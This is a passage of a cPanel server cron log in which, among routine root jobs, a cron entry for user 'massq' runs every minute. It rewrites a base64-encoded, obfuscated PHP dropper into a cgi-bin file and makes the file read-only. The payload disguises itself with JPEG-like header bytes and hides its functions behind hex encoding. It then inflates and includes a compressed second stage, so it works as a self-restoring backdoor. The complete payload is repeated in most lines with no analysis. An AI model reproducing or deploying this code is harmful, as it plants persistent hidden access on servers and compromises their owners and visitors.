C2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:35:01 server CROND[1468]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:35:01 server CROND[1469]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 03:35:01 server CROND[1467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:35:01 server CROND[1471]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 03:35:01 server CROND[1474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:36:01 server CROND[2340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:37:01 server CROND[3260]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:38:01 server CROND[4075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:39:01 server CROND[4849]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 03:39:01 server CROND[4850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:40:01 server CROND[5662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:40:01 server CROND[5663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:40:01 server CROND[5664]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 03:40:01 server CROND[5666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:41:01 server CROND[6543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:42:01 server CROND[7348]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:42:01 server CROND[7349]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 03:43:01 server CROND[8272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:44:01 server CROND[9297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:45:01 server CROND[10121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:45:01 server CROND[10122]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:45:01 server CROND[10123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:46:01 server CROND[10963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:47:01 server CROND[11779]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
